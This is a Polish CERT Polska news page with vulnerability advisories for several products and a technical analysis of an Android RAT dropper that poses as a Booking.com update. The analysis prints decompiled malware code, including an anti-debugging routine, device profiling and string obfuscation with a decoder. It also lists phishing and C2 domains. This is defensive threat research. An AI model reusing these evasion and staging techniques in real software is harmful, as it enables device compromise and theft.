CERT Polska

Podatność w oprogramowaniu AdaptiveGRC

2026-04-24T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu AdaptiveGRC i koordynował proces ujawniania informacji.

Podatność CVE-2026-4313: AdaptiveGRC jest podatny na atak typu Stored Cross-Site Scripting za pośrednictwem pól tekstowych występujących w formularzach. Uwierzytelniony atakujący może zmodyfikować wartość pola tekstowego w żądaniu HTTP POST. Nieprawidłowa walidacja parametrów po stronie serwera skutkuje możliwością wykonania dowolnego kodu JavaScript w przeglądarce ofiary. Co istotne, luka ta może umożliwić atakującemu przechwycenie tokenu uwierzytelniającego administratora oraz wykonywanie dowolnych działań z uprawnieniami administracyjnymi, co może prowadzić do dalszej kompromitacji systemu.

Problem występuje w wersjach wydanych przed grudniem 2025.

Podziękowania

Za zgłoszenie podatności dziękujemy Antoniemu Kwietniewskiemu (mBank).

Podatność w oprogramowaniu GNU sed

2026-04-20T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu GNU Sed i koordynował proces ujawniania informacji.

Podatność CVE-2026-5958: Kiedy Sed jest wywoływany z parametrami -i (in-place edit) oraz --follow-symlinks, funkcja open_next_file() wykonuje dwie oddzielne operacje na pliku pod tą samą ścieżką: 1. rozwiązuje symlink i ustala ścieżkę do plików, gdzie będzie zapisany wynik operacji, 2. ponownie rozwiązuje ten sam symlink (zamiast użycia ścieżki uzyskanej w kroku 1) w celu odczytania pliku.

Pomiędzy tymi dwoma wywołaniami występuje okno pozwalające na wystąpienie stanu race condition. Jeśli w tym czasie atakujący zastąpi symlink innym celem, sed odczyta zawartość z nowego (wybranego przez atakującego) celu symlinka i zapisze przetworzony wynik w ścieżce zarejestrowanej w kroku 1. Może to doprowadzić do nadpisania dowolnego pliku treścią kontrolowaną przez atakującego w kontekście procesu sed.

Ten problem został naprawiony w wersji 4.10.

Podziękowania

Za zgłoszenie podatności dziękujemy Michałowi Majchrowiczowi oraz Marcinowi Wyczechowskiemu (AFINE Team).

Podatność w oprogramowaniu Fudo Enterprise

2026-04-20T10:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Fudo Enterprise i koordynował proces ujawniania informacji.

Podatność CVE-2025-13480: Fudo Enterprise w wersjach od 5.5.0 do 5.6.2 włącznie umożliwia użytkownikom o niskich uprawnieniach dostęp do zasobów przeznaczonych wyłącznie dla administratorów poprzez niektóre niewłaściwie zabezpieczone endpointy API. Obejmuje to wrażliwe informacje, takie jak logi systemowe oraz części ustawień konfiguracyjnych systemu.

Podatność została naprawiona w wersji 5.6.3

Podziękowania

Za zgłoszenie podatności firmie Fudo Security, które jest producentem oprogramowania Fudo Enterprise.

Podatności w oprogramowaniu PAC4J

2026-04-17T14:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu PAC4J i koordynował proces ujawniania informacji.

Podatność CVE-2026-40458: W PAC4J wykryto podatność typu Cross-Site Request Forgery (CSRF). Atakujący może przygotować złośliwą stronę, która po odwiedzeniu przez ofiarę wysyła sfałszowane żądanie z tokenem kolidującym z prawdziwym tokenem CSRF. Atak nie wymaga wcześniejszej znajomości tokenu ani jego hasha, ponieważ kolizje deterministycznej funkcji String.hashCode() mogą być obliczone w locie, co skutecznie obniża przestrzeń tokenu do 32 bitów. Umożliwia to obejście ochrony CSRF i wykonanie operacji takich jak zmiana profilu, hasła czy łączenie kont bez wiedzy i zgody użytkownika.

Ten problem został naprawiony w wersjach 5.7.10 i 6.4.1

Podatność CVE-2026-40459: W PAC4J zidentyfikowano podatność typu LDAP Injection występującą w wielu miejscach. Zdalny atakujący o niskich uprawnieniach może wstrzyknąć spreparowaną składnię LDAP do parametrów wyszukiwania opartych na identyfikatorze (ID), co może skutkować nieautoryzowanymi zapytaniami LDAP oraz wykonywaniem dowolnych operacji na katalogu.

Ten problem został naprawiony w wersjach 4.5.10, 5.7.10 i 6.4.1

Podziękowania

Za zgłoszenie podatności dziękujemy Bartłomiejowi Dmitrukowi (striga.ai).

Podatność w oprogramowaniu GREENmod

2026-04-17T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu GREENmod i koordynował proces ujawniania informacji.

Podatność CVE-2026-5131: GREENmod wykorzystuje potoki nazwane do komunikacji pomiędzy wtyczkami, portalem internetowym i usługą systemową, jednak listy kontroli dostępu dla tych potoków są nieprawidłowo skonfigurowane. Umożliwia to atakującemu komunikację ze strumieniem oraz przesłanie dowolnego pliku XML lub JSON, który zostanie przetworzony przez potok nazwany z uprawnieniami użytkownika, w kontekście którego działa usługa. Pozwala to na przeprowadzenie ataku typu Server-Side Request Forgery na dowolny system Windows, na którym jest zainstalowany agent i który umożliwia komunikację za pośrednictwem protokołów SMB lub WebDAV.

Ten problem został naprawiony w wersji 2.8.33.

Podziękowania

Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.

Podatność w oprogramowaniu MCPHub

2026-04-14T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w projekcie MCPHub i koordynował proces ujawniania informacji.

Podatność CVE-2025-13822: W projekcie MCPHub w wersjach poniżej 0.11.0 istnieje możliwość obejścia uwierzytelniania. Niektóre endpointy nie są chronione przez middleware uwierzytelniający, co umożliwia nieuwierzytelnionemu atakującemu wykonywanie działań w imieniu innych użytkowników oraz z wykorzystaniem ich uprawnień.

Podziękowania

Za zgłoszenie podatności dziękujemy Erykowi Winiarzowi.

Podatności w oprogramowaniu Hydrosystem Control System

2026-04-09T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Hydrosystem Control System i koordynował proces ujawniania informacji.

Podatność CVE-2026-4901: Hydrosystem Control System zapisuje wrażliwe informacje w pliku z logami. Co istotne, dane uwierzytelniające użytkownika także są zapisywane w logu, co umożliwia atakującemu uzyskanie dalszego autoryzowanego dostępu do systemu. W połączeniu z podatnością CVE-2026-34184, te wrażliwe informacje mogą być uzyskiwane przez nieautoryzowanego użytkownika.

Podatność CVE-2026-34184: Hydrosystem Control System nie wymusza autoryzacji dla niektórych katalogów. To umożliwia nieautoryzowanemu atakującemu odczytywanie wszystkich plików w tych katalogach oraz ich wykonywanie. Co istotne, atakujący może bezpośrednio uruchomić skrypty PHP wykonujące operacje na połączonej bazie danych.

Podatność CVE-2026-34185: Hydrosystem Control System jest podatny na SQL Injection w większości skryptów i parametrów wejściowych. Ponieważ nie zastosowano żadnych mechanizmów ochronnych, uwierzytelniony atakujący może wstrzyknąć dowolne polecenie SQL, co może prowadzić do uzyskania pełnej kontroli nad bazą danych.

Te problemy zostały naprawione w wersji 9.8.5

Podziękowania

Za zgłoszenie podatności dziękujemy Jarosławowi "Jahrek" Kamińskiemu - Securitum.

Raport roczny z działalności CERT Polska w 2025 roku

2026-04-08T09:00:00+02:00

Pobierz raport (PDF, 43.3MB)

Za nami kolejny rok działania zespołu CERT Polska. Był on wyjątkowy, ponieważ wieńczył trzecią dekadę naszej działalności – świętujemy właśnie 30. urodziny! Rok 2025 to czas pełen wyzwań, rozwoju i kształtowania cyberbezpieczeństwa w kompleksowy sposób – od proaktywnych działań na rzecz wykrywania zagrożeń, poprzez obsługę zgłoszeń i reagowanie na incydenty aż po dzielenie się wiedzą i budowanie świadomości społecznej.

Znajdziecie tu historie o popularnych kampaniach oszustw, relacje z obserwacji grup APT czy informacje z pierwszej ręki o przełomach w wykrywaniu zagrożeń. Opowiemy o testach bezpieczeństwa, upublicznianiu podatności, złośliwym oprogramowaniu i atakach ransomware.

Będzie też tradycyjnie o współpracy krajowej i międzynarodowej, ćwiczeniach i zawodach, projektach, w których biorą udział zespoły z całego świata, o polskiej prezydencji w Radzie Unii Europejskiej, o nowych inicjatywach łączących bezpieczników z różnych instytucji i sektorów gospodarki.

Nie zabraknie zagadnień dla fanów solidnych technicznych rozwiązań. Na kartach raportu poruszymy tematy usług i oprogramowania, które współtworzymy lub budujemy sami – AIPITCH, DNS4EU, FETTA, PERUN, Artemis, Lista Ostrzeżeń, MWDB, n6 i nasze flagowe przedsięwzięcie – moje.cert.pl.

Powyższe wyliczenie pokazuje, jak bardzo złożone i zróżnicowane są zadania, z którymi na co dzień mierzy się nasz zespół. Jednak u podstaw każdego z tych działań leży potrzeba uszczelniania i usprawniania systemu, który czyni polską cyberprzestrzeń bezpieczniejszą. Drugim filarem jest wiedza – świadomość zagrożeń i znajomość metod zapobiegania im to najskuteczniejsza broń w walce z cyberoszustami.

CERT Polska to ludzie i chcemy, żeby nasz raport też był ludzki. Merytoryczny, pełen rzetelnej wiedzy, liczb i wykresów, a jednocześnie ciekawy i angażujący. Przeczytacie dziś o wielu ważnych i trudnych tematach, ale są to sprawy, z których możemy być po prostu dumni – my jako CERT, ale też my jako Polacy.

Miłej lektury!

Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo pobierz plik z raportem.

Podatności w oprogramowaniu Mlflow

2026-04-07T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Mlflow i koordynował proces ujawniania informacji.

Podatność CVE-2026-33865: W oprogramowaniu MLflow występuje podatność typu Stored Cross-Site Scripting (XSS) spowodowana niezabezpieczonym parsowaniem artefaktów MLmodel (w postaci plików YAML) w swoim interfejsie internetowym. Uwierzytelniony użytkownik może przesłać złośliwy plik MLmodel zawierający osadzony kod, który uruchomi się w momencie, gdy inny użytkownik wyświetli ten artefakt w swoim interfejsie. W efekcie atakujący może m. in. przejąć sesję użytkownika lub wykonać operacje w jego imieniu.

Podatność CVE-2026-33866: W oprogramowaniu MLflow występuje podatność pozwalająca na ominęcie autoryzacji w endpointcie AJAX, który używany jest do pobierania zapisanych artefaktów modelu. Ze względu na brak walidacji kontroli dostępu, użytkownik bez uprawnień do danego eksperymentu może bezpośrednio odpytać ten endpoint i pobrać artefakty modelu, do których nie powinien mieć dostępu.

Te problemy dotyczą MLflow w wersji do 3.10.1.

Podziękowania

Za zgłoszenie podatności dziękujemy Sławomirowi Zakrzewskiemu (AFINE).

Podatność w oprogramowaniu Bludit

2026-04-07T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Bludit i koordynował proces ujawniania informacji.

Podatność CVE-2026-4420: Bludit jest podatny na Stored Cross-Site Scripting (XSS) w funkcjonalności tworzenia stron. Uwierzytelniony atakujący z uprawnieniami do tworzenia stron (takimi jak Autor, Edytor lub Administrator) może wstrzyknąć złośliwy skrypt JavaScript do pola tagów nowo utworzonego artykułu. Ten skrypt zostanie wykonany, gdy ofiara odwiedzi URL przesłanego zasobu. Przesłany zasób jest dostępny bez uwierzytelnienia. W szczególnym przypadku, ta podatność może być wykorzystana do automatycznego utworzenia nowego administratora strony, jeśli ofiara posiada odpowiednie uprawnienia.

Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Tylko wersje 3.17.2 i 3.18.0 zostały przetestowane i potwierdzone jako podatne, inne wersje nie były przetestowane i mogą również być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Yassinowi Abdelrazek.

Analiza cifrat: czy to ewolucja mobilnego RATa?

2026-04-03T12:00:00+02:00

Zespół CERT Polska przeanalizował próbkę złośliwego oprogramowania na Androida, dystrybuowaną z wykorzystaniem infrastruktury podszywającej się pod Booking.com. Na potrzeby tej analizy nazwaliśmy ją cifrat (nazwa od pakietu io.cifnzm.utility67pu oraz funkcjonalności RAT-a), ponieważ na moment opracowania materiału nie udało się jej wiarygodnie powiązać z żadną znaną rodziną malware.

Analizowana próbka była dystrybuowana za pomocą wiadomości phishingowych prowadzących do fałszywej strony aktualizacji aplikacji Booking Pulse i pobrania złośliwego pliku APK. Widoczna dla ofiary aplikacja była jedynie początkiem całej ścieżki infekcji. Analiza statyczna i dynamiczna pokazały, że pobrany plik APK jest wieloetapowym dropperem, który rozpakowuje drugi plik APK, następnie ukryty końcowy moduł, a ostatecznie uruchamia RAT wykorzystujący usługi ułatwień dostępu i komunikujący się przez WebSocket.

Podstawowe informacje

Łańcuch infekcji rozpoczyna się od wiadomości phishingowej. Ofiara jest nakłaniana do kliknięcia odnośnika, który przekierowuje najpierw do:

https://share.google/Yc9fcYQCgnKxNfRmH

a następnie do:

https://booking.interaction.lat/starting/

Końcowa strona podszywa się pod komunikat bezpieczeństwa/aktualizacji Booking.com i oferuje pobranie złośliwego pliku:

com.pulsebookmanager.helper.apk - d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42

Pobrana aplikacja pełni rolę zewnętrznego droppera. Po instalacji ładuje bibliotekę natywną, odszyfrowuje kolejny osadzony plik APK podszywający się pod Google Play Services, a ten drugi etap odszyfrowuje jeszcze jeden ukryty moduł. Finalnie odzyskany payload to pełnoprawny RAT z nadużyciem ułatwień dostępu, nakładkami phishingowymi, dostępem do SMS-ów, strumieniowaniem ekranu, obsługą kamery, zdalnymi gestami i tunelem SOCKS5.

Przebieg infekcji

Przebieg infekcji odtworzony z perspektywy ofiary wygląda następująco.

Ofiara otrzymuje wiadomość phishingową. Wiadomość wykorzystuje socjotechnikę, aby skłonić odbiorcę do kliknięcia odnośnika osadzonego w jej treści.

Kliknięcie odnośnika przekierowuje ofiarę przez share.google/Yc9fcYQCgnKxNfRmH do booking.interaction.lat/starting/. Na tej stronie użytkownik widzi fałszywy komunikat Booking.com o konieczności aktualizacji zabezpieczeń. Naciśnięcie przycisku Aktualizuj teraz powoduje pobranie pliku com.pulsebookmanager.helper.apk. Pobrana aplikacja podszywa się pod Booking Pulse:

Po instalacji aplikacja nie ujawnia od razu docelowego szkodliwego działania. Zamiast tego działa jako powłoka dostarczająca kolejne etapy. Ładuje dekoder w obrębie natywnej biblioteki, odszyfrowuje osadzony drugi etap i instaluje go pod pakietem io.cifnzm.utility67pu, opisanym jako Google Play Services.

Ten drugi etap również nie jest finalnym payloadem. Jego klasa Application wydobywa kolejny ukryty zasób o nazwie FH.svg, odszyfrowuje go, traktuje wynik jako archiwum ZIP, ładuje z niego ukryte pliki dex i dopiero wtedy przekazuje wykonanie do właściwego modułu złośliwego oprogramowania.

Na tym etapie malware staje się w pełni funkcjonalnym RAT-em. Odzyskany finalny wsad zawiera obsługę strumieniowania ekranu, keylogging, HTML injection, zbieranie SMS-ów, obsługę kamery, zdalne gesty, manipulację urządzeniem i dwukanałową komunikację WebSocket z serwerem C2 otptrade.world.

Co przyniosła analiza próbki?

Pobrany pakiet APK to com.pulsebookmanager.helper, z etykietą Pulse.
Zewnętrzny APK zrzuca i ładuje bibliotekę natywną l0a0cac5c.so.
Ta biblioteka natywna dekoduje ukryte stringi i kontroluje dalszy przebieg instalacji.
Zewnętrzny APK odszyfrowuje res/raw/init_bundle_uzge.bin przy użyciu 32-bajtowego klucza XOR i instaluje wynik jako io.cifnzm.utility67pu.
Zainstalowany drugi etap jest opisany jako Google Play Services.
Drugi etap wydobywa ukryty zasób FH.svg.
FH.svg jest odszyfrowywany algorytmem podobnym do RC4 z kluczem mLYQ.
Odszyfrowany blob zawiera finalne pliki dex.
Końcowy moduł złośliwego oprogramowania komunikuje się z otptrade.world przez rozdzielone kanały control/data oparte na WebSocket.

Jak się chronić?

Pobieraj aplikacje wyłącznie z oficjalnych sklepów, takich jak Google Play Store lub App Store.
Traktuj każdą aktualizację aplikacji dostarczaną ze strony WWW jako podejrzaną, szczególnie jeśli wymaga ręcznej instalacji pliku APK.
Jeśli po instalacji z nieznanego źródła aplikacja prosi o dostęp do usług ułatwień dostępu, nagrywania ekranu, nasłuchu powiadomień lub nakładek ekranowych, należy potraktować to jako krytyczny sygnał ostrzegawczy.

Analiza techniczna

Każda aplikacja na Androida posiada plik AndroidManifest.xml. W tej próbce już sam manifest pokazuje, że pobrany plik APK wykorzystujący wizerunek Booking.com nie jest zwykłą samodzielną aplikacją. Jeszcze przed dekompilacją kodu manifest ujawnia konstrukcję typową dla stage installera: aplikacja prosi o uprawnienia do sideloadingu, jawnie oczekuje istnienia kolejnego pakietu, używa niestandardowej klasy Application do wczesnego bootstrapu i monitoruje zdarzenia związane z instalacją pakietów.

Analiza AndroidManifest.xml

Pierwszym użytecznym wskaźnikiem jest manifest zewnętrznego APK. Nawet bez dekompilacji kodu Java widać w nim aplikację ukierunkowaną na instalację kolejnego pakietu i monitorowanie postępu tego procesu.

<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNET"/>
<queries>
    <intent>
        <action android:name="android.intent.action.MAIN"/>
    </intent>
    <package android:name="io.cifnzm.utility67pu"/>
</queries>

<application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:extractNativeLibs="true" android:fullBackupContent="@xml/backup_rules" android:hardwareAccelerated="true" android:icon="@mipmap/ic_launcher" android:label="Pulse" android:largeHeap="true" android:name="v0a0cac5c.l0a0cac5c" android:networkSecurityConfig="@xml/network_security_config" android:requestLegacyExternalStorage="true" android:roundIcon="@mipmap/ic_launcher" android:supportsRtl="true" android:theme="@style/AppTheme.NoActionBar">

<activity android:configChanges="keyboardHidden|orientation|screenSize" android:exported="true" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.pulsebookmanager.helper.hasideq.vufez.BaseActionHandler6ut" android:theme="@style/AppTheme.NoActionBar" android:windowSoftInputMode="adjustResize">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

<receiver android:directBootAware="true" android:enabled="true" android:exported="true" android:name="com.pulsebookmanager.helper.hasideq.vufez.AppTaskLoaderdu2">
    <intent-filter>
        <action android:name="com.pulsebookmanager.helper.RESULT_PPVALVLX"/>
        <action android:name="android.intent.action.PACKAGE_ADDED"/>
        <action android:name="android.intent.action.PACKAGE_REPLACED"/>
        <data android:scheme="package"/>
    </intent-filter>
</receiver>

Już na tym etapie widać kilka istotnych rzeczy:

REQUEST_INSTALL_PACKAGES oznacza, że zewnętrzny APK ma instalować inną aplikację.
Blok <queries> jawnie wskazuje na io.cifnzm.utility67pu, który okazuje się pakietem drugiego etapu.
v0a0cac5c.l0a0cac5c to niestandardowa klasa Application, więc kod bootstrapujący uruchamia się przed logiką głównej aktywności.
AppTaskLoaderdu2 jest zarejestrowany do obsługi zdarzeń związanych z instalacją pakietów, co jest typowe dla droppera, który chce śledzić i natychmiast uruchamiać zainstalowany payload.

Dalej w manifeście widać również żądanie uprawnień RECEIVE_BOOT_COMPLETED, QUERY_ALL_PACKAGES, MANAGE_EXTERNAL_STORAGE, REQUEST_DELETE_PACKAGES i PACKAGE_USAGE_STATS. Taki zestaw jest nieproporcjonalny do aplikacji powiązanej z Booking.com, ale spójny z dropperem, który potrzebuje szerokiego wglądu w pakiety, kontroli nad instalacją oraz opcji persystencji po instalacji.

Do tego dochodzą zaszyte zasoby tekstowe, które pokazują, że widoczna aplikacja pełni raczej rolę pośrednika instalacyjnego niż normalnej aplikacji Booking.com:

<string name="app_name">Pulse</string>
<string name="s_bpetbn">Please complete the installation to continue</string>
<string name="s_rqkzlj">Installation Permission Required</string>
<string name="s_rtmrf">Secure installation process</string>
<string name="s_vptqsa">Install Software</string>
<string name="s_yxvof">%1$s Installed</string>

Już na poziomie manifestu i zasobów zewnętrzny APK wygląda więc jak powłoka instalacyjna.

Etap 0: aktywność startowa, lokalny WebView i interfejs JavaScript

Zewnętrzna aktywność startowa to BaseActionHandler6ut. Jej zadaniem jest wyświetlenie ofierze fałszywego procesu aktualizacji, ale implementacja pokazuje, że nie jest to zwykła statyczna strona HTML. Aktywność tworzy WebView, rejestruje interfejs wywołań z poziomu JavaScript i ładuje zdekodowany lokalny zasób:

PemuhehControllerj5b pemuhehControllerj5b = new PemuhehControllerj5b(new v6(this, 0));
WebView webView5 = this.c;
if (webView5 == null) {
    webView5 = null;
}
webView5.addJavascriptInterface(pemuhehControllerj5b, m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
WebView webView6 = this.c;
if (webView6 == null) {
    webView6 = null;
}
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));

Po odwróceniu działania natywnego dekodera opartego na JNI wartości te przyjmują postać:

nazwa interfejsu JavaScript: Android
początkowo ładowana strona: file:///android_asset/gfjdkqdca.html

Nie oznacza to jednak, że ofiara widzi wyłącznie lokalną stronę. Lokalny zasób pełni rolę strony bootstrapującej używanej przez zewnętrzny dropper. Równolegle ten sam etap zewnętrzny dekoduje xc.b do https://booking.interaction.lat/update/, przekazuje tę wartość do KokokotProcessorrdy, a ta aktywność ładuje przekazany adres we własnym WebView. Ten sam zdalny motywowany Booking.com adres jest później ponownie wykorzystywany przez etap finalny przez BuildConfig.BASE_URL. W praktyce etap 0 zaczyna się od lokalnego zasobu bootstrapującego, ale widoczny dla użytkownika fałszywy "Booking" to zdalna strona https://booking.interaction.lat/update/.

Interfejs nie jest elementem kosmetycznym. Profiluje urządzenie ofiary i może uruchamiać dalszy proces instalacji:

@JavascriptInterface
public final String get_SYSINFO() {
    JSONObject jSONObject = new JSONObject();
    int i = Build.VERSION.SDK_INT;
    Locale locale = Resources.getSystem().getConfiguration().getLocales().get(0);
    String language = locale.getLanguage();
    Locale locale2 = Locale.ROOT;
    String lowerCase = language.toLowerCase(locale2);
    String upperCase = locale.getCountry().toUpperCase(locale2);
    jSONObject.put("sdk", i);
    jSONObject.put(m0a0cac5c.F0a0cac5c_11("$h05080E1008"), Build.MODEL);
    jSONObject.put(m0a0cac5c.F0a0cac5c_11("/459565C44565A5D47494F5B51"), Build.MANUFACTURER);
    return jSONObject.toString();
}

@JavascriptInterface
public final void start() {
    pm.c(m0a0cac5c.F0a0cac5c_11("bm3D09021B090D0B350A0C232A0E0E0F172F186A22"), m0a0cac5c.F0a0cac5c_11("T>74604A627162525E565328686B5F606A6A2F91636E61676E722967657B696835373F35416E717D80818476827C864C86807E7C92868795818F8A8A"));
    this.mainHandler.post(new x2(8, this));
}

Oznacza to, że fałszywa strona Booking.com może jednocześnie zbierać informacje o urządzeniu i przesuwać ofiarę głębiej w łańcuch infekcji.

Etap 1: inicjalizacja w klasie Application i zrzucenie biblioteki natywnej

Właściwa inicjalizacja zaczyna się jeszcze wcześniej, w v0a0cac5c.l0a0cac5c.attachBaseContext(). Ta klasa kopiuje odpowiednią bibliotekę natywną z zasobów APK do prywatnego katalogu i ładuje ją przez System.load():

if (c(context, str)) {
    d(context, str, str2, c + j(new byte[]{71, 26, 6}));
    System.load(str2 + File.separator + c + j(new byte[]{71, 26, 6}));
} else if (z) {
    System.loadLibrary(c + j(new byte[]{54, 17, 81, 95}));
} else {
    System.loadLibrary(c);
}
I0a0cac5c_00(context);

APK zawiera cztery warianty architektoniczne:

assets/l0a0cac5c_a32.so
assets/l0a0cac5c_a64.so
assets/l0a0cac5c_x86.so
assets/l0a0cac5c_x64.so

W obserwowanym uruchomieniu wariant x64 został zrzucony do:

/data/user/0/com.pulsebookmanager.helper/files/.ss/l0a0cac5c.so

i załadowany właśnie z tej ścieżki. Zrzut runtime zgadzał się z osadzonym zasobem.

Na tym etapie zewnętrzny APK zrobił już trzy rzeczy:

zbudował widoczną dla ofiary przynętę,
załadował bibliotekę natywną pełniącą rolę bootstrapu,
przekazał kontrolę do JNI jeszcze przed zakończeniem głównego przepływu instalacyjnego.

Analiza natywna: rejestracja JNI i mechanizmy utrudniające analize

Analiza l0a0cac5c_x64.so pokazuje, że biblioteka nie jest biernym pomocnikiem. JNI_OnLoad lokalizuje zobfuskowaną klase dekodera, rejestruje dla niej metody natywne, pobiera ścieżki runtime i wykonuje kontrole utrudniające analizę przed kontynuacją działania.

W zdekompilowanej ścieżce JNI_OnLoad widać:

iVar3 = (**(code **)(*param_1 + 0x30))(param_1,&local_488,0x10002);
if (iVar3 != 0) {
  pcVar24 = "JNI_OnLoad could not get JNI env";
  goto LAB_00222d67;
}
lVar4 = (**(code **)(*local_488 + 0x30))(local_488,s_m0a0cac5c_002d0750);
if (lVar4 == 0) {
  FUN_00221e90("Fail to find class: %s\n",s_m0a0cac5c_002d0750);
  return 0xffffffff;
}
iVar3 = (**(code **)(*local_488 + 0x6b8))(local_488,lVar4,&PTR_s_vm_init_002cf610,0xc);
if (iVar3 < 0) {
  pcVar24 = "RegisterNatives error";
  goto LAB_00222d67;
}

To istotne, ponieważ potwierdza, że częste wywołania m0a0cac5c.F0a0cac5c_11(...) po stronie Java są faktycznie obsługiwane przez natywny dekoder zarejestrowany na starcie procesu.

Ta sama ścieżka JNI_OnLoad odzyskuje też lokalizacje runtime:

lVar5 = (**(code **)(*local_488 + 0x388))(local_488,lVar4,"getPath","()Ljava/lang/String;");
uVar6 = FUN_0021ecd0(local_488,lVar4,lVar5);
pcVar24 = (char *)(**(code **)(*local_488 + 0x548))(local_488,uVar6,0);
DAT_002d2ef0 = strdup(pcVar24);
(**(code **)(*local_488 + 0x550))(local_488,uVar6,pcVar24);
if (DAT_002d2ee9 != '\0') {
  lVar5 = (**(code **)(*local_488 + 0x388))
                    (local_488,lVar4,"getjarPath","()Ljava/lang/String;");
  if (((lVar5 == 0) || (lVar4 = FUN_0021ecd0(local_488,lVar4,lVar5), lVar4 == 0)) ||
     (pcVar24 = (char *)(**(code **)(*local_488 + 0x548))(local_488,lVar4,0),
     pcVar24 == (char *)0x0)) {
    pcVar24 = "getjarPath error";
    goto LAB_00222d67;
  }
  DAT_002d2ef8 = strdup(pcVar24);
  (**(code **)(*local_488 + 0x550))(local_488,lVar4,pcVar24);
}

oraz sprawdza /proc/self/maps pod kątem obecności libjdwp.so, co wyraźnie wskazuje na obecność mechanizmu utrudniającego debugowanie:

pFVar7 = fopen(local_448,"r");
if (pFVar7 != (FILE *)0x0) {
  pcVar24 = fgets((char *)local_438,0x400,pFVar7);
  if (pcVar24 == (char *)0x0) {
    uVar9 = 0;
  }
  else {
    uVar9 = 0;
    do {
      pcVar24 = strrchr((char *)local_438,0x2f);
      if (pcVar24 != (char *)0x0) {
        pcVar8 = strrchr((char *)local_438,10);
        if (pcVar8 != (char *)0x0) {
          *pcVar8 = '\0';
        }
        iVar3 = strcmp(pcVar24 + 1,"libjdwp.so");
        if (iVar3 == 0) {
          pcVar24 = strchr((char *)local_438,0x2d);
          *pcVar24 = '\0';
          uVar9 = strtoull((char *)local_438,(char **)0x0,0x10);
          break;
        }
      }
      pcVar24 = fgets((char *)local_438,0x400,pFVar7);
    } while (pcVar24 != (char *)0x0);
  }
  fclose(pFVar7);
  if (uVar9 != 0) {
    return 0xffffffff;
  }
}

Takie zachowanie natywnej warstwy zgadza się z pozostałymi obserwacjami z próbki:

dekodowaniem ukrytych stringów,
obsługą ścieżek runtime,
mechanizm utrudniający debugowanie,
mechanizmami wykrywania Fridy i emulatora, widocznymi w odszyfrowanych stringach natywnych.

Odzyskana semantyka natywnego dekodera

Kod Java zewnętrznej warstwy jest wypełniony wywołaniami w rodzaju:

webView5.addJavascriptInterface(pemuhehControllerj5b, m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));

Po analizie natywnego dekodera uzyskaliśmy następującą semantykę:

pierwszy znak jest ignorowany,
drugi znak pełni rolę jednobajtowego klucza XOR,
pozostała część ciągu jest traktowana jako zapis szesnastkowy,
dla bajtu na pozycji i wykonywane jest ((byte - i) & 0xff) ^ key.

Ten dekoder pozwala odzyskać kluczowe wskaźniki zewnętrznego etapu:

io.cifnzm.utility67pu
https://aplication.digital/receiving/stats/
file:///android_asset/gfjdkqdca.html
https://booking.interaction.lat/update/

To moment, w którym zewnętrzny APK przestaje wyglądać jak zwykła fałszywa aplikacja, a zaczyna wyglądać jak rzeczywisty staged loader.

Aby ten etap był reprodukowalny, przygotowaliśmy prosty helper implementujący odzyskany natywny algorytm dekodowania:

def decode_native(s: str) -> str:
    if len(s) < 4:
        return ""
    key = ord(s[1])
    body = s[2:]
    raw = bytes.fromhex(body)
    out = bytearray()
    for i, b in enumerate(raw):
        out.append(((b - i) & 0xFF) ^ key)
    return out.decode("utf-8", errors="replace")

Za pomocą tego helpera zaszyte wartości wykorzystywane przez loader można dekodować w sposób deterministyczny:

python3 decode_native_strings.py \
  'Qv371914071D2418' \
  'oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30'

Qv371914071D2418 => Android
oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30 => file:///android_asset/gfjdkqdca.html

Właśnie w ten sposób powstał zestaw odszyfrowanych stałych używanych w dalszej części analizy.

Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do `PackageInstaller`

Kolejny etap jest przechowywany jako:

res/raw/init_bundle_uzge.bin

Ten punkt jest istotny, ponieważ 32-bajtowy klucz XOR nie jest zapisany w kodzie Java jako jawna stała. Zamiast tego kod Java przekazuje obfuskowany ciąg znaków do natywnego dekodera opartego na JNI, otrzymuje w odpowiedzi 64-znakową wartość szesnastkową, zamienia ją na 32 bajty i dopiero wtedy wykorzystuje je do odszyfrowania init_bundle_uzge.bin. Oznacza to, że materiał kluczowy odzyskiwany jest przez natywną ścieżkę dekodowania, natomiast samo odszyfrowanie pliku etapu 2 metodą XOR odbywa się już w Javie:

public static byte[] F() {
    byte[] bArr = new byte[32];
    for (int i = 0; i < 64; i += 2) {
